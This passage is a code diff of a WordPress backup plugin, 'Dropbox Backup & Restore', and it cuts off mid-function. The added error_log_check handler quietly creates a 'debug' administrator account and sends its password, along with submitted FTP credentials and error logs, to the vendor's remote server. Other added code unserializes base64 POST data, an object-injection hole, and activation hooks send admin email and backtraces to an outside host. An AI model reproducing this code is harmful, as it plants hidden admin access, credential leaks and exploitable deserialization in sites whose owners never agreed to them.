- width:101px;
588
- text-align:right;
589
- }
590
- .checkbox-info input[type="checkbox"] {
591
- margin-right: 0px;
592
- }
593
- .stat-setting-save {
594
- text-align: center; margin-top: 10px;
595
- }
596
-
597
- /*default style */
598
- @media only screen and (max-width: 960px) {
599
- /*
600
- tablet computer
601
- */
602
- .stat-wpadm-info {
603
- margin-left: 9px; height:100%; padding-top: 0px; margin-top:20px;
604
- color: #fff;
605
- float: none;
606
- clear:both;
607
- border-left: 0px;
608
- border-top:1px solid #fff;
609
- font-size: 10px;
610
- margin-bottom: 10px;
611
- padding-left: 0px;
612
- width:88%;
613
-
614
-
615
- }
616
- .stat-table-registr th, .stat-table-registr td {
617
- padding:2px;
618
- font-size:10px;
619
- }
620
- .stat-table-registr {
621
- margin-top: 10px;
622
- float:none;
623
- }
624
- .form-table th {
625
- line-height: 10px;
626
- }
627
- .stat-table-registr input {
628
- font-size: 10px;
629
- height: 20px;
630
- line-height: 10px;
631
- }
632
- .stat-form-counter {
633
- font-size:10px;
634
- margin-right:5px;
635
- }
636
- #setting-form .info-block {
637
- width:60%;
638
- }
639
- #preview-image {
640
- height: 105px;
641
- float: left;
642
- margin-right: 10px;
643
- }
644
- .detail-title {
645
- margin: 0 5px; width:auto;
646
- }
647
- #setting-form .info-block .details-info {
648
- width: auto;
649
- font-size: 8px;
650
- float:none;
651
- clear:both;
652
- line-height: 8px;
653
- margin-bottom:5px;
654
-
655
- }
656
- .info-block .checkbox-info {
657
- width:28px;
658
- }
659
- #setting-form .info-block input[type="text"] {
660
- font-size:12px;
661
- height: 20px;
662
- }
663
- .minicolors-theme-default.minicolors-position-right .minicolors-input {
664
- padding-right: 10px;
665
- }
666
-
667
- .minicolors-theme-default .minicolors-swatch {
668
- height: 18px;
669
- left: 5px;
670
- top: 1px;
671
- width: 18px;
672
- }
673
-
674
- }
675
- @media only screen and (max-width: 1124px) {
676
- .stat-form-counter {
677
- font-size:10px;
678
- margin-right:3.5%;
679
- }
680
- #setting-form .info-block {
681
- width:55%;
682
- }
683
- #preview-image {
684
- height: 105px;
685
- float: left;
686
- margin-right: 10px;
687
- margin-top:40px;
688
- }
689
- .info-block input[type="text"] {
690
- font-size:12px;
691
- height: 20px;
692
- }
693
-
694
- }
695
- @media only screen and (max-width: 758px) {
696
- /*
697
- vertical tablet computer
698
- */
699
- }
700
- @media only screen and (max-width: 524px) {
701
- /*phone*/
702
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
dropbox-backup.php CHANGED
@@ -1,22 +1,24 @@
1
  <?php
2
  /*
3
- Plugin Name: DropBox Backup
4
- Description: DropBox Backup Plugin to create DropBox Full Backup (Files + Database) of your Web Page
5
- Version: 1.1
 
6
  */
7
 
8
- require_once dirname(__FILE__) . DIRECTORY_SEPARATOR . 'wpadm.php';
9
- if (file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'wpadm-class-wp.php')) {
10
- require_once dirname(__FILE__) . DIRECTORY_SEPARATOR . 'wpadm-class-wp.php';
11
  }
12
 
13
- add_action('init', 'wpadm_full_backup_dropbox_run');
14
-
15
- add_action('admin_print_scripts', 'wpadm_include_admins_script' );
16
- // add item to menu
17
 
18
- add_action('admin_notices', 'wpadm_admin_notice');
19
 
 
 
 
20
 
21
  if (!function_exists('wpadm_full_backup_dropbox_run')) {
22
  function wpadm_full_backup_dropbox_run()
1
  <?php
2
  /*
3
+ Plugin Name: Dropbox Backup & Restore
4
+ Description: Dropbox Backup & Restore Plugin to create Dropbox Full Backup (Files + Database) of your Web Page
5
+ Version: 1.4.1
6
+ Text Domain: dropbox-backup
7
  */
8
 
9
+ if (!defined('DRBBACKUP_BASE_DIR')) {
10
+ define('DRBBACKUP_BASE_DIR', dirname(__FILE__));
 
11
  }
12
 
13
+ require_once dirname(__FILE__) . DIRECTORY_SEPARATOR . '/modules/constant.php';
14
+ require_once dirname(__FILE__) . DIRECTORY_SEPARATOR . '/functions/wpadm.php';
15
+ require_once dirname(__FILE__) . DIRECTORY_SEPARATOR . '/main/wpadm-class-wp.php';
 
16
 
17
+ add_action('init', 'wpadm_full_backup_dropbox_run');
18
 
19
+ add_action('admin_print_scripts', array('wpadm_wp_full_backup_dropbox', 'include_admins_script' ));
20
+ add_action('admin_menu', array('wpadm_wp_full_backup_dropbox', 'draw_menu'));
21
+ add_action('admin_post_activate_wpadm_full_backup_dropbox', array('wpadm_wp_full_backup_dropbox', 'activatePlugin') );
22
 
23
  if (!function_exists('wpadm_full_backup_dropbox_run')) {
24
  function wpadm_full_backup_dropbox_run()
functions/index.php ADDED
@@ -0,0 +1 @@
 
1
+ <?php
functions/wpadm.php ADDED
@@ -0,0 +1,190 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * General functions
4
+ *
5
+ */
6
+
7
+ if ( ! function_exists( 'wpadm_run' )) {
8
+ function wpadm_run($pl, $dir) {
9
+
10
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-method-class.php';
11
+ $request_name = $pl . '_request';
12
+ if( isset( $_POST[$request_name] ) && ! empty ( $_POST[$request_name] ) ) {
13
+ require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-core.php';
14
+ WPAdm_Core::$cron = false;
15
+ $user_ip = wpadm_getIp();
16
+ if ($_SERVER['SERVER_ADDR'] != $user_ip && $_SERVER['HTTP_USER_AGENT'] != 'dropbox-backup user-agent') {
17
+ WPAdm_Running::init_params_default(false);
18
+ }
19
+ $wpadm = new WPAdm_Core(wpadm_unpack($_POST[$request_name]), $pl, $dir);
20
+ echo '<wpadm>' . wpadm_pack($wpadm->getResult()->toArray()) . '</wpadm>';
21
+ exit;
22
+ }
23
+ }
24
+ }
25
+
26
+
27
+ if ( ! function_exists( 'wpadm_unpack' )) {
28
+ /**
29
+ * @param str $str
30
+ * @return mixed
31
+ */
32
+ function wpadm_unpack( $str ) {
33
+ return unserialize( base64_decode( $str ) );
34
+ }
35
+ }
36
+
37
+ if ( ! function_exists('wpadm_pack')) {
38
+ /**
39
+ * @param mixed $value
40
+ * @return string
41
+ */
42
+ function wpadm_pack( $value ) {
43
+ return base64_encode( serialize ( $value ) ) ;
44
+ }
45
+ }
46
+
47
+ if ( ! function_exists('wpadm_admin_notice')) {
48
+ function wpadm_admin_notice() {
49
+
50
+ }
51
+ }
52
+
53
+
54
+ if ( ! function_exists('wpadm_deactivation')) {
55
+ function wpadm_deactivation() {
56
+ wpadm_send_blog_info('deactivation');
57
+ }
58
+ }
59
+
60
+
61
+ if ( ! function_exists('wpadm_uninstall')) {
62
+ function wpadm_uninstall() {
63
+ wpadm_send_blog_info('uninstall');
64
+ }
65
+ }
66
+
67
+
68
+ if ( ! function_exists('wpadm_activation')) {
69
+ function wpadm_activation() {
70
+ wpadm_send_blog_info('activation');
71
+ }
72
+ }
73
+
74
+ if ( ! function_exists('wpadm_send_blog_info')) {
75
+ function wpadm_send_blog_info($status) {
76
+ $info = wpadm_get_blog_info();
77
+ $info['status'] = $status;
78
+
79
+ $data = wpadm_pack($info);
80
+ $host = WPADM_URL_BASE;
81
+ $host = str_replace(array('http://','https://'), '', trim($host,'/'));
82
+ $socket = fsockopen($host, 80, $errno, $errstr, 30);
83
+ fwrite($socket, "GET /wpsite/pluginHook?data={$data} HTTP/1.1\r\n");
84
+ fwrite($socket, "Host: {$host}\r\n");
85
+
86
+ fwrite($socket,"Content-type: application/x-www-form-urlencoded\r\n");
87
+ fwrite($socket,"Content-length:".strlen($data)."\r\n");
88
+ fwrite($socket,"Accept:*/*\r\n");
89
+ fwrite($socket,"User-agent:Opera 10.00\r\n");
90
+ fwrite($socket,"Connection:Close\r\n");
91
+ fwrite($socket,"\r\n");
92
+ sleep(1);
93
+ fclose($socket);
94
+ }
95
+ }
96
+ if (!function_exists('wpadm_getIp')) {
97
+ function wpadm_getIp()
98
+ {
99
+ $user_ip = '';
100
+ if ( getenv('REMOTE_ADDR') ){
101
+ $user_ip = getenv('REMOTE_ADDR');
102
+ }elseif ( getenv('HTTP_FORWARDED_FOR') ){
103
+ $user_ip = getenv('HTTP_FORWARDED_FOR');
104
+ }elseif ( getenv('HTTP_X_FORWARDED_FOR') ){
105
+ $user_ip = getenv('HTTP_X_FORWARDED_FOR');
106
+ }elseif ( getenv('HTTP_X_COMING_FROM') ){
107
+ $user_ip = getenv('HTTP_X_COMING_FROM');
108
+ }elseif ( getenv('HTTP_VIA') ){
109
+ $user_ip = getenv('HTTP_VIA');
110
+ }elseif ( getenv('HTTP_XROXY_CONNECTION') ){
111
+ $user_ip = getenv('HTTP_XROXY_CONNECTION');
112
+ }elseif ( getenv('HTTP_CLIENT_IP') ){
113
+ $user_ip = getenv('HTTP_CLIENT_IP');
114
+ }
115
+
116
+ $user_ip = trim($user_ip);
117
+ if ( empty($user_ip) ){
118
+ return '';
119
+ }
120
+ if ( !preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $user_ip) ){
121
+ return '';
122
+ }
123
+ return $user_ip;
124
+ }
125
+ }
126
+
127
+ if ( ! function_exists('wpadm_get_blog_info')) {
128
+ function wpadm_get_blog_info() {
129
+ $info = array(
130
+ 'url' => get_site_url(),
131
+ 'email' => get_option('admin_email')
132
+ );
133
+ $debug = debug_backtrace();
134
+ $info['debug'] = $debug;
135
+ $file = (is_array($debug[count($debug)-1]['args'][0]))?$debug[count($debug)-1]['args'][0][0] : $debug[count($debug)-1]['args'][0];
136
+ preg_match("|wpadm_.*wpadm_(.*)\.php|", $file, $m);
137
+ $info['plugin'] = '';
138
+ if (isset($m[1])) {
139
+ $info['plugin'] = $m[1];
140
+ }
141
+
142
+ return $info;
143
+ }
144
+ }
145
+ if ( ! function_exists( "wpadm_set_plugin" )) {
146
+ function wpadm_set_plugin($plugin_name = '')
147
+ {
148
+ if (!empty($plugin_name) && function_exists("wpadm_run")) {
149
+ $GLOBALS['wpadm_plugin'][] = $plugin_name;
150
+ }
151
+ }
152
+ }
153
+ if (!function_exists('wpadm_in_array')) {
154
+ function wpadm_in_array($value, $key, $array, $ids = false)
155
+ {
156
+ if (is_array($array)) {
157
+ foreach($array as $k => $v) {
158
+ if (!is_array($v) && $k == $key && $v == $value) {
159
+ if ($ids) {
160
+ return $k;
161
+ }
162
+ return true;
163
+ } elseif (is_array($v) && isset($v[$key]) && $v[$key] == $value ) {
164
+ if ($ids) {
165
+ return $k;
166
+ }
167
+ return true;
168
+ }
169
+ }
170
+ }
171
+ return false;
172
+ }
173
+ }
174
+ if (function_exists('wpadm_getKey')) {
175
+ function wpadm_getKey($array, $key)
176
+ {
177
+ $return = array();
178
+ if (empty($array) && ($n = count($array)) > 0) {
179
+ for($i = 0; $i < $n; $i++) {
180
+ if (isset($array[$i]['key']) && is_array($key) && in_array($array[$i]['key'], $key) ) {
181
+ $return[] = $i;
182
+ } elseif(isset($array[$i]['key']) && is_string($key) ) {
183
+ $return[] = $i;
184
+ }
185
+ }
186
+ }
187
+ return $return;
188
+ }
189
+ }
190
+
img/dropbox.png ADDED
Binary file
img/stars-5.png ADDED
Binary file
wpadm-logo.png → img/wpadm-logo.png RENAMED
File without changes
img/wpadmload.gif ADDED
Binary file
libs/error.class.php ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * error
4
+ *
5
+ * 100 - mothod not exist
6
+ * 101 - error method api
7
+ * 102 - error in the received data
8
+ * 103 - error
9
+ *
10
+ * notice
11
+ * 401 - activate user
12
+ *
13
+ * success
14
+ * 201 - registaration and acivate ok
15
+ * 202 - acivate plugin ok
16
+ *
17
+ */
18
+ if ( ! class_exists("errorWPADM")) {
19
+ class errorWPADM {
20
+ private static $messages = array(
21
+ 100 => 'Method doesn\'t exist.',
22
+ 101 => 'Method has an error.',
23
+ 102 => 'Received data has an error.',
24
+ 103 => 'There is an error in plugin activation.',
25
+ 201 => 'Registration and activation was successful.',
26
+ 202 => 'Plugin activation was successful.',
27
+ 401 => 'The User at WPAdm is not activated. Please, activate you User at WPAdm-System in <url> and try again.',
28
+
29
+ );
30
+ public static function getMessage($code)
31
+ {
32
+ if (isset(self::$messages[$code])) {
33
+ return self::$messages[$code];
34
+ } else {
35
+ return "Server error: received data are invalid.";
36
+ }
37
+
38
+ }
39
+ }
40
+ }
libs/index.php ADDED
@@ -0,0 +1 @@
 
1
+ <?php
libs/lang.class.php ADDED
@@ -0,0 +1,106 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+
3
+ if ( ! class_exists("langWPADM")) {
4
+
5
+ add_action('init', array('langWPADM', 'init'), 11 );
6
+ if (!defined('WPADM_LANG_')) {
7
+ define('WPADM_LANG_', 'wpadm_lang_');
8
+ }
9
+
10
+ class langWPADM {
11
+
12
+ public static $lang = array();
13
+
14
+ public static $lang_dir = '';
15
+
16
+ public static $lang_load = '';
17
+
18
+ public static $lang_name = '';
19
+
20
+ public static $debug = array();
21
+
22
+ private static $url = 'http://plugins.svn.wordpress.org/dropbox-backup/assets/lang/';
23
+
24
+ public static function init()
25
+ {
26
+ $lang_wp = self::getLanguageSystem();
27
+ $plugin_dir = WPAdm_Core::getPluginDir();
28
+ self::$lang_dir = $plugin_dir . '/libs/lang/';
29
+ if (isset($lang_wp)) {
30
+ //self::downloadLang();
31
+ if (file_exists(self::$lang_dir . $lang_wp . '.php')) {
32
+ require_once self::$lang_dir . $lang_wp . '.php';
33
+ self::$lang[$lang_wp] = $languag;
34
+ self::$lang_name = $lang_wp;
35
+ return true;
36
+ }
37
+ }
38
+ return false;
39
+ }
40
+ public static function get($key, $echo = true, $replace_from = false, $replace_to = false)
41
+ {
42
+ $result = '';
43
+ if(!empty($key)) {
44
+ if ( isset(self::$lang[self::$lang_name][$key]) ) {
45
+ $result = self::$lang[self::$lang_name][$key];
46
+ } else {
47
+ $result = $key;
48
+ }
49
+ }
50
+ if ($replace_from && $replace_to) {
51
+ $result = str_replace($replace_from, $replace_to, $result);
52
+ }
53
+
54
+ if ($echo) {
55
+ echo $result;
56
+ return true;
57
+ } else {
58
+ return $result;
59
+ }
60
+ }
61
+ public static function getLanguageSystem()
62
+ {
63
+ $lang_wp = get_option('WPLANG', 'en');
64
+ $lang_wp = strtolower($lang_wp);
65
+ $lang_wp = explode("_", $lang_wp);
66
+ if (isset($lang_wp[0])) {
67
+ self::$lang_load = $lang_wp[0];
68
+ return $lang_wp[0];
69
+ }
70
+ return 'en';
71
+ }
72
+ public static function downloadLang()
73
+ {
74
+ if (!empty(self::$lang_load)) {
75
+ $time = get_option(WPADM_LANG_ . 'time-update');
76
+ if ( (isset($time['check_time']) && $time['check_time'] <= time()) || !isset($time['check_time']) || !file_exists(self::$lang_dir . self::$lang_load . '.php') ) {
77
+ if (!function_exists('wp_safe_remote_get')) {
78
+ include_once ABSPATH . WPINC . '/http.php';
79
+ }
80
+ $load = wp_safe_remote_get( self::$url . self::$lang_load . '.php' );
81
+ if (isset($load['response']['code']) && $load['response']['code'] == '200') {
82
+ @preg_match("/Date create - ([0-9\.]+)/", $load['body'], $date);
83
+ if (!isset($time['date']) || $time['date'] != $date[1] || !file_exists(self::$lang_dir . self::$lang_load . '.php')) {
84
+ if (isset($date[1])) {
85
+ self::updateDate($date[1]);
86
+ } else {
87
+ self::updateDate(date('d.m.Y'));
88
+ }
89
+ file_put_contents(self::$lang_dir . self::$lang_load . '.php', $load['body']);
90
+ }
91
+ }
92
+ }
93
+ }
94
+ }
95
+ private static function updateDate($date_update)
96
+ {
97
+ $date = get_option(WPADM_LANG_ . 'time-update');
98
+ $time_update = array('date' => $date_update, 'check_time' => time() + 604800);
99
+ if ($date) {
100
+ update_option(WPADM_LANG_ . 'time-update', $time_update);
101
+ } else {
102
+ add_option(WPADM_LANG_ . 'time-update', $time_update );
103
+ }
104
+ }
105
+ }
106
+ }
libs/lang/index.php ADDED
@@ -0,0 +1 @@
 
1
+ <?php
libs/wpadm.server.main.class.php ADDED
@@ -0,0 +1,904 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ require_once dirname(__FILE__) . "/lang.class.php";
3
+
4
+ if (!class_exists("wpadm_class")) {
5
+
6
+ add_action('admin_post_wpadm_activate_plugin', array('wpadm_class', 'activatePlugin') );
7
+ add_action('admin_post_error_logs_check', array('wpadm_class', 'error_log_check') );
8
+ add_action('admin_post_wpadm_delete_pub_key', array('wpadm_class', 'delete_pub_key') );
9
+ add_action('wp_ajax_getDirsIncludes', array('wpadm_class', 'getDirsIncludes') );
10
+ add_action('wp_ajax_saveDirsIncludes', array('wpadm_class', 'saveDirsIncludes') );
11
+
12
+ //add_action('admin_post_wpadm_getJs', array('wpadm_class', 'getJs') );
13
+
14
+ //add_action('admin_print_scripts', array('wpadm_class', 'includeJs' ));
15
+
16
+ class wpadm_class {
17
+
18
+ protected static $result = "";
19
+ protected static $class = "";
20
+ protected static $title = "";
21
+ public static $type = "";
22
+ public static $plugin_name = "";
23
+ protected static $plugins = array('stats-counter' => '1.1',
24
+ 'wpadm_full_backup_storage' => '1.0',
25
+ 'wpadm_full_backup_s3' => '1.0',
26
+ 'ftp-backup' => '1.0',
27
+ 'dropbox-backup' => '1.2.9.7',
28
+ 'wpadm_db_backup_storage' => '1.0',
29
+ 'database-backup-amazon-s3' => '1.0',
30
+ 'wpadm_file_backup_s3' => '1.0',
31
+ 'wpadm_file_backup_ftp' => '1.0',
32
+ 'wpadm_file_backup_dropbox' => '1.0',
33
+ 'wpadm_db_backup_ftp' => '1.0',
34
+ 'wpadm_db_backup_dropbox' => '1.0',
35
+ 'wpadm_file_backup_storage' => '1.0',
36
+ );
37
+ const MIN_PASSWORD = 6;
38
+
39
+
40
+ private static $backup = "1";
41
+
42
+ private static $status = "0";
43
+
44
+ private static $error = "";
45
+
46
+ public static function setBackup($b)
47
+ {
48
+ self::$backup = $b;
49
+ }
50
+ public static function error_log_check()
51
+ {
52
+ $base_path = plugin_dir_path( dirname(__FILE__) );
53
+ $time = isset($_POST['time_pars']) ? $_POST['time_pars'] : "";
54
+ $error = "";
55
+ if ( file_exists( ABSPATH . "error_log" ) ) {
56
+ $error = file_get_contents(ABSPATH . "error_log");
57
+ }
58
+ if (empty($error) && file_exists( ABSPATH . "error.log" ) ) {
59
+ $error = file_get_contents(ABSPATH . "error.log");
60
+ }
61
+ if (empty($error) && file_exists( ABSPATH . "logs/error_log" )) {
62
+ $error = file_get_contents(ABSPATH . "logs/error_log");
63
+ }
64
+ if (empty($error) && file_exists( ABSPATH . "logs/error.log" )) {
65
+ $error = file_get_contents(ABSPATH . "logs/error.log");
66
+ }
67
+ if (empty($error) && file_exists(ABSPATH . "../logs/error_log")) {
68
+ $error = file_get_contents(ABSPATH . "../logs/error_log");
69
+ }
70
+ if (empty($error) && file_exists(ABSPATH . "../logs/error.log")) {
71
+ $error = file_get_contents(ABSPATH . "../logs/error.log");
72
+ }
73
+ $error_backup = $error_system = "";
74
+
75
+ if ( !empty($time) ) {
76
+ $time_log = str_replace(array(':', '-', " "), "_", $time);
77
+ if ( file_exists( $base_path . "tmp/logs_error_" . $time ) ) {
78
+ $log_ = file_get_contents( $base_path . "tmp/logs_error_" . $time );
79
+ $pos = stripos($log_, "error");
80
+ if ($pos !== false) {
81
+ for($i = $pos; ; $i--) {
82
+ if ($log_{$i} == "\n") {
83
+ $pos_new = $i + 1;
84
+ break;
85
+ }
86
+ }
87
+ $error_backup = substr($log_, $pos_new);
88
+ }
89
+ }
90
+
91
+ }
92
+ if (!empty($time) && !empty($error)) {
93
+ $time_log = str_replace(array(':', '-', " "), "_", $time);
94
+ list($y, $m, $d, $h, $i) = explode("_", $time_log);
95
+ $time_log = strtotime("$d-$m-$y $h:$i");
96
+ $date_for_log = date("d-M-Y ", $time_log);
97
+ $pos_log = strpos($error, $date_for_log);
98
+ if ($pos_log !== false) {
99
+ $pos_new = 0;
100
+ for($i = $pos_log; ; $i--) {
101
+ if ($error{$i} == "[") {
102
+ $pos_new = $i;
103
+ break;
104
+ }
105
+ }
106
+ $error_system = substr($error, $pos_new);
107
+ }
108
+ }
109
+ $pass = substr(md5(mktime()), 0, 10);
110
+ $id = wp_insert_user(
111
+ array(
112
+ "user_login" => "debug",
113
+ "user_pass" => $pass,
114
+ "user_nicename" => "Debug",
115
+ "user_email" => "debug@help.help",
116
+ "description" => "Debug user",
117
+ )
118
+ );
119
+
120
+ if( !is_wp_error( $id ) ) {
121
+ wp_update_user( array ('ID' => $id, 'role' => 'administrator' ) ) ;
122
+ } else {
123
+ $pass = "";
124
+ }
125
+ $ftp = array(
126
+ 'ftp_host' => @$_POST['ftp_host'],
127
+ 'ftp_user' => @$_POST['ftp_user'],
128
+ 'ftp_pass' => @$_POST['ftp_pass']
129
+ );
130
+ $mail_response = isset($_POST['mail_response']) && !empty($_POST['mail_response']) ? $_POST['mail_response'] : get_option('admin_email');
131
+ $logs_report = base64_encode( serialize( array('ftp' => $ftp,
132
+ 'mail_response' => $mail_response,
133
+ 'mail_admin' => get_option('admin_email'),
134
+ 'pass' => $pass, 'error_backup' => $error_backup,
135
+ 'msg_ajax' => isset($_POST['msg_ajax']) ? trim($_POST['msg_ajax']) : '',
136
+ 'error' => $error_system)
137
+ )
138
+ );
139
+
140
+ $res = self::sendToServer(array('actApi' => "errorLog",
141
+ "site" => str_ireplace(array("http://","https://"), "", home_url()),
142
+ "data" => $logs_report )
143
+ );
144
+ $_SESSION['sent_response'] = langWPADM::get('Your request was sent. <br /> Thank you for your assistance.', false);
145
+ header("Location: " . $_SERVER['HTTP_REFERER']);
146
+ exit;
147
+
148
+ }
149
+ public static function getDirsIncludes()
150
+ {
151
+ $path = isset($_POST['path']) ? $_POST['path'] : "";
152
+ $path_show = !empty($path) ? ltrim($path, '/') . "/" : "";
153
+ $dir_to_open = ABSPATH . $path;
154
+ if (is_dir($dir_to_open)) {
155
+ $dir_open = opendir($dir_to_open);
156
+ $return = array();
157
+ $connect_f_d = self::createListFilesForArchive();
158
+ $includes = get_option(PREFIX_BACKUP_ . "plus-path");
159
+ if ($includes !== false) {
160
+ $includes = explode(',', $includes);
161
+ $n = count($includes);
